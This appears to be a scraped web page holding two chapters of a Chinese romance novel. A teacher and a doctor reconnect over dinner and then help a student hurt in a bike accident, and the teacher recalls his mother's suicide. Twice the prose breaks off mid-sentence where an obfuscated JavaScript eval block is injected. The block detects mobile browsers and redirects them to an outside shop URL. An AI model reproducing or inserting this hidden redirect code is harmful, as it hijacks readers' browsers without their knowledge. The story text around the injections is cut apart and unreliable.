冉星停下脚步,他能听到邱遂辰电话背景里有护士站呼叫铃的声音。 “我大概一小时后能下班,”邱遂辰估算了时间,语气里带着点儿小心翼翼,深怕冉星拒绝:“你要不要过来,等我下班,我们一起过去吃?” 8.第一次 08 第一次 市人民医院距冉星学校有段距离。 冉星倒了两趟车才到达目的地。 一下车,雾蒙蒙的天空断断续续飘下雨丝。 冉星没带伞,加快步伐,根据邱遂辰给的地址,找到住院部五号楼。 楼层有医护专梯,邱遂辰在消息里的意思是让冉星到后联系他,他让同学下楼接。 冉星知道他们在忙,没好意思多麻烦,左右不过几分钟的路,冉星跟着一群病人和家属挤进普通电梯,摇摇晃晃上到四楼神经内科病区。 病区比门诊安静。 冉星戴好口罩,询问推治疗车路过的护士:“你好,请问医生办公室在哪里?” 被问的护士停下脚步:“你找哪个医生?” 冉星:“邱医生。” 护士指了个方向,“里头第二间。” 冉星顺着方向看去:“好的,谢谢。” 办公区域门前走廊没几个人,冉星数到第二间,办公室门大敞着。 正是交班时段,动作快的已经洗手换衣服下了班,动作慢卡点收病人的还在加班。 三间连着的办公室走了一大半人。 冉星还没进屋,工位距门最近的邱遂辰突然抬起头。 两人视线意外在空中交汇。 触不及防。 两人愣住,旋即,无声朝对方一笑,都戴着口罩,只露出弯弯的眼角。 还在等下楼接人的纪风华也注意到门外动静,挤在邱老师工位的身体移动,唰地一下跑回角落去。 纪风华知趣,给俩暧昧期的青年点儿小空间。 邱遂辰把写一半的病历保存下来,起身走向冉星。 冉星还笑着张脸,注意力放了几分在邱遂辰那身半旧不新的白大褂上。 白大褂衣角有几条被蓝黑笔涂鸦的痕迹。 穿白大褂的邱遂辰冉星从前没少见。 医学院有规定,上临床系实训课必须穿白大褂才能进教室。 实训楼距冉星的教学楼近,每次邱遂辰有实训课,冉星翘课都要去人家楼下蹲点、接邱遂辰下课。 黏人得很,逃课行为没少挨邱遂辰的骂。 时过境迁。 昔日少年与眼前男子轮廓重合,好像什么也没变,还在原来基础上多了些截然不同的气质。 岁月将邱遂辰磨炼得更加沉稳,眉宇间早卸了年少时的青涩。 邱遂辰高大的身影挡在冉星跟前,不让屋子里其他人看热闹,他问:“怎么自己上来了?” 冉星隐在口罩下的表情控制不住微笑,道:“给你惊喜。” 邱遂辰很配合:“惊喜到了。” 冉星乌黑的眼睛亮晶晶。 邱遂辰将人领到隔壁休息室,搬了把椅子给冉星坐,“喝水吗?” 冉星摇头:“不喝。” 邱遂辰还是去接了杯水放桌上,“你等我一会,”印着医院logo的纸杯放到冉星手边,桌上还有其他东西,有用塑料袋随意兜着的水果,也有一些横七竖八摆着的袋装饮料,邱遂辰让冉星不要客气: “无聊了吃水果,喝饮料。” 冉星觉得他的语气像在哄小孩,摘掉口罩,歪头,嘴角翘起来:“我懂,你放心去忙。” 冉星头发长了不少,最近太忙没去剪,偏脑袋时顶上几根不乖的发丝跟着一摇一晃。 邱遂辰压下想摸摸冉星乖乖脑袋的动作。 要早下班就要赶紧工作。 邱遂辰不想让冉星等太久,回办公室后加快工作收尾速度。 窗外夜色渐浓。 冉星坐在休息室的灯光下,没去动桌上的东西,只喝了两口邱遂辰倒的温开水,然后开始发呆。 这六年来冉星都不敢想,自己还有机会等邱遂辰下班。 中途有夜班护士进来拿东西,看到休息室里的陌生面孔,护士诶了声,询问这位不知从哪儿冒出来的年轻人:“你是?” 在无聊数地砖的冉星抬起头,回道:“我是邱医生的朋友。” “哦哦哦,”那护士把保温杯里的水装满,指指桌上的东西:“有水果,可以吃。” 冉星客客气气:“好的,谢谢。” 半个多小时后,邱遂辰换掉白大褂,拎着杯奶茶过来接冉星。 冉星把一次性杯子里剩下的水倒进水槽,纸杯丢掉。 邱遂辰把奶茶递给冉星,“刚护士说我朋友在这里等太久,”他解释奶茶的由来:“要我记得用奶茶安慰下这位愿意等我下班的朋友。” 奶茶是冉星平时常喝的那家,冉星没客气,小声说了谢谢,把奶茶杯从袋子里拿出来,看清杯身上的标签:“三分糖,你的呢?” 两手空空的邱遂辰:“只有一杯。” 冉星便把奶茶装回袋子里,打算着:“等下我给你买一杯。” 邱遂辰要拒绝,冉星打断:“我也要安慰下这位加班的朋友。” 话术学以致用,邱遂辰眸光闪动,拒绝的话吞回肚子里去:“走吧。” 他伸手去拿冉星的背包。 冉星今晚没有作业要批改,包不沉,想自己拿回来,被邱遂辰挡了动作,“你提奶茶。” 冉星就改手去扯挎包上的拉链:“邱医生,包要拉好,不然东西会掉出来。” 邱遂辰配合,换了个姿势背包,调整音调:“这样背正确吗?冉老师?” 冉老师小声叫邱遂辰别学他说话,提着奶茶往外走,又被邱遂辰叫住:“冉老师,电梯在右边。” 走左边的冉老师:“……” 哦。 *** 外头小雨停了,地上还留着湿漉漉的痕迹。 烤肉店距医院也就两公里左右,邱遂辰怕等会还下雨,索性开车过去。 下班时间点,一路停停堵堵,邱遂辰碰上了三个连续的红路灯。 两人有时间,都不急,车载音响里放着舒缓轻音乐。 挡风玻璃四周还挂着些没干的小水珠。 邱遂辰在第三个红灯前停下来,转头问冉星:“刚才下雨,怎么过来的?” 冉星手里捧着奶茶,没拆开喝:“坐公交车。” 邱遂辰:“有驾照?” 冉星掂量用词:“有四分之一。” 邱遂辰顿了下,“科目一啊。” “太忙了,”冉星摸摸鼻梁,“科目二还没练。” 前方红灯变绿,邱遂辰收回注意力,跟着导航往前开,对于驾照的事他只道:“放假有空多去练,你脑子聪明,很快就能学会。” 冉星不太认为邱遂辰这是在夸他的意思,讪讪地:“好。”心里补充:再说吧。 邱遂辰余光瞥向那晃悠悠的奶茶杯:“奶茶不喝?” 冉星唔了声:“下车再说。” 车是邱遂辰的,冉星没有在别人车上吃东西的习惯,弄脏了不好说。 邱遂辰像猜到冉星在想什么,眼神沉了几分,没再说话。 烧烤店隔壁就有家奶茶店,冉星顺手点了一杯奶茶给邱遂辰。 烤肉店生意红火,老板说只剩下门口的一小桌,小桌空间拥挤。 两人没多大讲究,有位就坐。 老板娘给搬了板凳过来,邱遂辰和冉星并肩坐一排。 位置确实小,点餐的时候两人胳膊肘碰来碰去地打架,奶茶杯都要挨着放一块。 冉星在菜单的嫩牛肉片上打钩,对邱遂辰说:“等下我胳膊肘给你手臂撞淤青了。” 邱遂辰作势往旁边侧开身,开玩笑:“那我等下这个姿势吃。” 冉星看那别扭的坐姿:“学长最好能坚持这个姿势不动摇。” 邱学长在菜单上又勾了两样菜,服务员来收菜单时,冉星小声提醒邱遂辰赶紧坐好,服务员瞧着,笑说:“两位觉得挤的话,一位可以坐对面。” 说罢服务员要帮他们把座椅移出来腾空位。 冉星和邱遂辰异口同声地拒绝:“不用,没事,不会挤。” 服务员停下动作,看两人的眼神都带了古怪的味道。 冉星和邱遂辰:“……” 菜品陆续上齐。 烤肉店有帮烤服务,刚经历社死的两人拒绝此项服务。 最后就是邱遂辰负责烤,冉星负责吃。 这家店的酱汁和肉质得到冉星一口又一口的好评,心情跟着好上几个档次,一开心就把话说开:“这还是我第一次相亲吃烤肉。”平时外婆安排的相亲,要么在高档西餐厅,要么在逼格高的茶馆或咖啡厅。 一切以优雅为主。 好不好吃另说。 邱遂辰又给冉星夹了几块烤得外焦里嫩的牛肉片,语气像不经意似地:“经常相亲?” 邱遂辰表情淡淡,冉星反问回去:“你没有?” “没有,”邱遂辰掀了下眼皮,“没时间。” 这话,冉星想起某件事,故意问:“你读完医了?” “学无止境,”邱遂辰拿起片紫苏叶,把沾好酱料的肉包进叶子里,“没有读完这一说。” 冉星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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电话那头,陌生的声音,说着陌生又有点耳熟的话:“打扰了,这是A市人民医院急诊科,请问您是王雪的班主任吗?” 冉星:“……” *** 冉星从没想过“一语成谶”这形容词有一天会用在他身上。 前几分钟还在说别人的案例,下一秒就让冉星给摊上。 班里叫王雪的女同学因为复习压力大,翘了晚自习,骑自行车出校门遛弯放松,结果不遵守交通规则,和一辆小轿车相撞,从自行车上滚下来,伤得不轻,被120送到抢救室。 烤盘上的烤肉滋滋冒油,热气腾腾。 冉星食欲瞬间被抽干。 通话内容让邱遂辰在旁边听了几句,大概猜出事情经过,他叫来服务员,结了这桌的饭钱,再把冉星拉起来:“你先给你们年段主任打电话,有学生家长的联系方式吗?” 冉星一个头两个大,跟着站起来,背包又让邱遂辰拿走,冉星没挣,走出餐馆,找了个安静角落,先给主任打电话,报备事情经过,而后再找出班级家长微信群,点开群成员,看到了备注为王雪舅舅的头像。 冉星才反应过来。 邱遂辰跟出来,看冉星脸色不对,低声问:“怎么了?” 冉星一脸纠结,把手机内容亮给邱遂辰看:“她父母离异,现在跟舅舅一家住。” 寄人篱下的孩子啊。 邱遂辰皱起眉头。 临时遇到这种事不是谁愿意的,冉星要去接挎在邱遂辰肩上的包:“你回去吧,我先去趟医院看看……” 邱遂辰打断:“一起。” 冉星以为听错了:“什么?” 邱遂辰让冉星跟他上车,“医院我比你熟。” 黑色奥迪停在店门前的停车位,邱遂辰开车门,是不容冉星拒绝的架势。 城市中心一盏接一盏的路灯明晃刺眼。 邱遂辰先打开的是副驾的车门,弯腰把背包放进副驾。 冉星故意慢了邱遂辰半步。 街道来来往往的车辆和行人,车水马龙,熙熙攘攘。 邱遂辰回头叫冉星上车。 街上的灯影落下来,圈出一小片光。 冉星鼻尖一酸。 他好想不顾一切形象的长叹出声。 初夏的晚风热乎乎。 是有多久了,不管是母亲在世时,还是被赶出冉家后,但凡遇到点儿事情,从来只有冉星之然一身走在最前线。 晦暗不明的日子里,没有人会和他说:一起。 一起面对问题,一起解决问题。 邱遂辰给出的短短两个字。 是冉星遇到的第一次。 9.咱们 09 咱们 车子又开回了医院,下车前邱遂辰找了新口罩出来,让冉星戴好。 冉星对路不熟,跟着邱遂辰在地下车库七拐八绕,坐着员工电梯上到一楼,出电梯就是急诊大楼。 急诊不比病房,还没靠近就能听到喧嚣嘈杂声,此起彼伏,来往的人行色匆匆。 压抑气氛迎面扑来。 冉星眉头紧蹙。 这是他很不喜欢的场面。 冉星慢下步伐。 邱遂辰察觉冉星的不自在,提议:“还是我替你进去?” 抢救室的感应门就在眼前不到五米远。 冉星说不用:“你不认识我的学生。” 邱遂辰想得当然:“里头一问谁骑车被撞让120拉过来的不就知道了。” 冉星:“……”说是这么说,但,“学长,有时候觉得你真是理科生。” 理科生邱学长拦住冉星,他听懂了:“你嫌我话不漂亮。” 冉星扯了个笑,话术确实说得比邱遂辰好听:“走吧学长,这儿是你的地盘,我等下肯定有需要你帮忙的地方。” 邱遂辰拧不过冉星。 抢救室里刚好有人推车出来,感应门徐徐打开,邱遂辰让冉星跟上,两人侧身从门边进去。 屋里头的情况比外头还乱。 此起彼伏的仪器报警声夹杂着不同病人的呻吟和哭泣声。 医务人员疾步带风,没有人脸上挂有笑容,空气里的味道都变得浑浊沉重。 压抑的气息让冉星下意识往邱遂辰身边靠。 小动作邱遂辰注意到,他便走到冉星前头,去护士站问出车祸被送进来的小姑娘在哪床。 在护士站开医嘱的值班医生抬起头,邱遂辰的声音好辨别,值班医生还以为自己听错了:“小师弟?” 是熟人。 邱遂辰挑眉,“周师兄。” 周长白指了个方向:“在急十床,你朋友?” 邱遂辰含糊:“认识。” 冉星小步往前移动,看清这位略秃顶的周师兄。 “这姑娘想要自由要过头了啊,”周长白竖起大拇指,“自行车蹬得比摩托车还快,小车司机行车记录仪上那叫个精彩。” 冉星小声:“那么厉害?” 周长白见从邱遂辰身后冒出来的小年轻,“送来时浑身都是血,拍了片,右小腿骨折。” 冉星抿唇。 “是高考生吧?现在情绪有点不太稳,”专业的话周长白对邱遂辰说:“血糖也高,一型糖尿病史,说是吃了烧烤喝几瓶饮料,没打胰岛素,血糖测不出来,尿和血酮体阳性,考虑酮酸。” Buff加成,邱遂辰脸上没什么表情:“现在怎么处理?” 周长白先转头问旁边的护士:“小雅,急十床那个内分泌科怎么回?” 护士把刚抽回来的血放标本盒里,忙得都没空看周长白一眼:“有床,家属来了就可以转上去。” 周长白把话转述过来:“骨折手术要等血糖控制下来,专科的事还是专科解决,等下还有一些转科须知要家属过来签字,你是她班主任吧?”周长白猜出冉星的身份,“病人家属联系不上,现在就一女同学在陪床。” 话说再多都没什么用,邱遂辰直接带冉星找到急十床。 抢救室不大,每个小床都用床帘隔开个小空间。 王雪是住校生,出事后来陪的是她的短发女同桌。 短发女生见冉星掀开帘子,连忙从板凳上站起来,不敢去看冉星,怯生生叫了声:“老师。” 冉星立马班主任灵魂上身,仰起头板起脸,眼神凶狠狠。 邱遂辰让短发女生过来,把空间留给老师训学生。 王雪身上的血迹没清洗,只简单换了件干净的患服。 空气酸涩难闻,冉星即便戴着口罩都能闻到一股烂苹果味。 王雪苍白着张脸,看冉星一步步靠近。 冉星忍着火气,对这位准高考生是很‘服气’,气都给气笑:“能耐。” 王雪身上绑着心电监护,右手在输液,骨折的腿被简单固定支起来,挂彩的嘴巴又痛又苦,在这么嘈杂的陌生环境里,见到可靠的大人了,王雪眼泪唰啦一下啪啪掉:“冉老师……” 冉星冷脸,不为女生的眼泪所动容:“我叫你舅舅过来。” 王雪偏头把眼泪擦到枕头上,声音沙哑,“老师,”全身都在痛,说话都不敢太用力,冉星弯腰,听王雪含糊不清的声音:“不能、不要让我舅舅知道,他会打死我的。” 冉星骤然直起身。 王雪伸手要去抓冉星,速度太快,差点扯掉手里的输液器。 冉星按住王雪肩膀,呵责:“别动。” 王雪揪住冉星,眼泪又成串地落,声音哑得比指甲划过黑板还难听:“……老师,你也不要管我了,就这样让我死了吧。” 小小年纪张口闭口就是‘死’,人生进度条才过多少呢就要‘死’。 冉星身边没有纸巾,徒手上去给王雪擦眼泪,动作不算温柔,给人脸上摩出一片红痕。 短发女生赶紧从兜里掏纸巾递过来,冉星擦好手,又扯了一张给王雪擦脸。 王雪情绪激动,红眼红脖子,弓着腰咳嗽了好一阵,鼻涕眼泪又一大把,冉星看得都嫌弃。 小纸巾不够用,邱遂辰出去找周长白拿了大包的,跟冉星站一块,一张一张抽给王雪用。 王雪哭哭啼啼,心电监护上的心率直接转窦速,邱遂辰啧了一声,“再哭人更难受。” 王雪擤了个鼻涕,苦巴巴:“冉老师,不要叫我舅舅。” 冉星点点王雪额头:“你舅不来你怎么手术?腿不想要了啊?” *** 王雪舅舅家住郊区,赶到医院已经是一个多小时候后的事。 高高壮壮的中年男子,一来先和冉星他们道谢,再配合医务人员将王雪转到内分泌科住院、骨科随诊,等血糖控制平稳再转骨科手术。 全程下来就没多给王雪一眼神。 冉星品出其中味道,这也是个不关心外甥女的亲戚。 邱遂辰在骨科和内分泌科各刷了脸,让两边病房的医生护士多照顾点。 从医院出来,邱遂辰先把短发女生送回家,再带冉星到附近的夜宵店喝了碗热咸粥。 这么来回折腾,一恍就过了零点。 天空黑沉沉。 路上没几个行人。 冉星不是很有胃口,有一勺没一勺地舀着碗里的粥,他感慨:“平时连打针都害怕的小女生啊,”想到刚才过床时床单上那摊干掉成黑的血迹,就直摇头,“闯红灯,飙车,这么有勇气。” 邱遂辰反对冉星的评价:“这不叫勇气。” 冉星重新定义这个词:“有勇气让自己这么叛逆这么疯。” 哪个正常高三生会舍得用宝贵的复习时间干这种事。 粥店里人不多,老板坐在收银台后刷抖音。 嘻嘻哈哈的短视频背景声刺耳难听。 两人坐在靠门的圆桌边,说话声压低了好几分。 冉星表情清清淡淡,还有点神游。 邱遂辰第一次看到冉星呈现这样的状态。 以前邱遂辰身边的兄弟朋友总用那么几个词形容冉星:“小少爷”、“撒娇鬼”、“粘人精”、“邱遂辰你家闹腾的小尾巴”、“你家叽叽喳喳的小太阳”、“那位话痨小朋友”。 冉星身上似乎有用不完的发光能量。 而如今和他面对面,喝着一碗十五块咸粥的冉星,卸去青涩和炙热,披上了一身灰扑扑的社会枷锁。 被枷锁捆着,电量不足。 吃完粥,邱遂辰把车开过来,要送冉星回去。 冉星没开副驾的门,表情犹犹豫豫:“我……” “别说想自己走走的话,”邱遂辰直接动手把冉星塞进车里,他是一眼看出冉星的小打算,“我现在让你一个人走,明天我就得从你的相亲名单移回黑名单里去。” 很严谨用了“移回”两字。 有前科的冉星:“……” 邱遂辰没开过这边的路,往导航里输入小区地址,跟着机械的导航声音来走。 车载音响没开,上车后两人好半天不吭声。 邱遂辰认真开车,最后还是冉星憋不住,“学长,你知道吗。”他转头看了邱遂辰一眼,“我很讨厌急诊科。” 邱遂辰扬了个音调:“我也不喜欢。”谁会喜欢急诊哦。 冉星算了下时间:“应该是我高三那年吧。” 邱遂辰:“九年前。” 冉星短促笑了声:“算这么快。” 邱遂辰嗯哼一声。 三更半夜的马路空空荡荡,前方道路被两排路灯包围,成了橙色小路。 “九年前我妈得了抑/郁症,割/腕/自/杀,”如果没有邱遂辰开车送他,冉星此刻应该是靠双腿走在前方空荡的街道上,边走边回忆那些带着鲜红血色的往事,“在她最需要冉通财的时候,所有人都联系不上冉通财,他啊,在情人床上厮/混呢。” 邱遂辰放慢车速,侧目,看到冉星垂着脑袋。 车内昏暗,窗外斑驳的光影在冉星身上一片又一片地飞跃过去。 冉星的声音很低:“她最后死了,她很聪明,一刀就割到动脉,失血过多,外公和外婆把她抬到抢救室的时候,医生说没救了,那血流得整个单架都染了色。” 所以冉星不喜欢抢救室的气氛,鼻音重了些:“我最看不起用自/杀来解决问题的人。” 从戒同所出来后的那段日子,生活再苦,冉星都没想过要自/杀。 他很清楚,死了就真全没了。他必须留着这条命。 人只有活着,才有重新翻盘的机会。 好在他平安活下来了,活到又能坐在邱遂辰身边。 邱遂辰沉默了一阵,握在方向盘上的手背上突出的几根青筋暴露了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347540|152357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压抑的情绪。 清明节那条H市墓地定位动态的背后故事,邱遂辰现在知道了。 邱遂辰说:“有点想喝酒。” 声音不大,冉星没听清:“什么?” 邱遂辰:“酒。” 冉星皱眉:“不能酒驾。” 邱遂辰扯扯嘴角:“下次请我喝。” 冉星唔了声,“等你不开车的下一次。” “好。” *** 伤筋动骨一百天,王雪请了长假,高考前能不能回来还是未知数。 王雪舅舅提了两箱大红包装的礼品到学校,硬要塞给冉星,算是对冉星帮忙照顾外甥女的感谢。 冉星哪能收礼,和王雪舅舅在办公室你推我赶了半天,王雪舅舅最后不讲理,把礼盒丢走廊人就跑了。 是硬要冉星收下。 冉星一个头两个大,回头就被刚好来办公室的几位学生看到。 冉星第一时间没想起要拦住那几个学生,等反应过来,王雪骑车被撞耽误高考的事就被传开了。 冉星气得午饭都没吃,还被主任叫到办公室谈了半天话,做了半天思想教育,王雪舅舅硬塞的礼品交给工会处理。 等冉星垂头丧气回到工位上,柳思云和三班英语老师文琪琪提了奶茶和小蛋糕过来安慰冉星。 柳思云:“就该把那几个皮猴子绑起来打一顿。” 文琪琪:“我晚上多给他们布置点儿英语小测卷。” 冉星喝了口奶茶,吃了块奶油夹草莓仁的小蛋糕,鼓起腮帮子,否掉两人的馊主意:“暴力解决不了问题,作业布置多了殃及无辜。” 柳思云气笑:“你还考虑周全啊。” 文琪琪问起主任讲了什么,冉星摊手,“被罚肯定逃不掉,还得开个班会,把老大给我的思想教育传下去。” 其实这个班会在高考百日倒计时那天冉星早就想开了。 他知道学生压力大,如果没一个良好的学习环境和氛围,可能马上又会有下一个出事的“王雪”。 为班会这事,冉星做了几版计划,还准备去买礼物给孩子们点儿鼓励。 三班有四十八位学生,那就得买四十八份礼物。 周六当天,邱遂辰来约冉星,下馆子吃完饭后邱遂辰就被冉星扣下来。 冉星要蹭邱遂辰的车,把买好的四大袋礼物运回学校。 周六的校园除了住校没回家的高三学生和值班的工作人员,清清静静。 迎面吹来的风都是清爽的。 气温已经有盛夏的味道了,工人用水管在给绿化带浇水,空气中滋滋冒着水蒸气。 邱遂辰帮冉星把礼物提到办公室。 四袋礼物堆进冉星桌子下的空位,把袋子罗列摆整齐,邱遂辰起身时看到桌上有颗小多肉。 还是开了两朵小黄花的多肉。 邱遂辰看得眼热:“你怎么养得比我好?” 冉星从公用小冰箱里拿了瓶冰汽水出来,递给邱遂辰,瞥眼那小花,笑:“天赋吧。” 汽水冰冰凉凉,邱遂辰拧开瓶盖喝了几口。 冉星盯着人家仰头喝水时上下滚动的喉结偷看。 邱遂辰的电话响了,把汽水放一边,拿手机,是亲弟的电话消息。 冉星礼貌性往旁边退两步,让邱遂辰接电话。 邱遂辰没让冉星走太远,电话一通,邱奕宇的嗓门比喇叭还大:“哥,你来学校了?” 邱遂辰、冉星:“……” 几分钟前,邱奕宇刚下宿舍楼,准备去操场跑两圈锻炼身体,就给他撞见亲哥和亲班主任来学校的画面。 这不,连忙跑回宿舍拿电话手表给亲哥打电话,求证来了。 邱遂辰捂住手机听筒,小声问冉星:“你们周末学生还住校?” 冉星凑上去,声音更小声:“住得远的学生周末不太爱回家,来回路程耽误复习时间,我们学校图书馆周末也开放。” 邱遂辰:“这样。” 他俩刚才大概率是被邱奕宇在某个角落看到了。 电话那头亲弟还在嗷嚎,吵着要见面,邱遂辰索性先把电话挂了,认真询问冉星的意见:“你介意我身边的人知道咱们的关系吗?” 冉星指着电话:“你是说邱奕宇吗?” 邱遂辰点头。 冉星思考了一分钟,“其他人是可以,不过,”才刚经历过王雪的事情,冉星心有余悸,“奕宇在高三重要阶段,我想……”话说一半。 “嗯,我明白。”邱遂辰也考虑到这方便,“在他面前我们偷偷来。” 冉星:“……”不是,怎么听着怪怪的? 邱遂辰思绪一转:“周末学校食堂开吗?” “一楼的有开,”冉星以为邱遂辰想吃食堂,“不过周末的菜色不太行。” “那把邱奕宇叫上,”邱遂辰把事情安排得明明白白,“晚上咱们外面吃,给他加餐。” 这就咱们上了。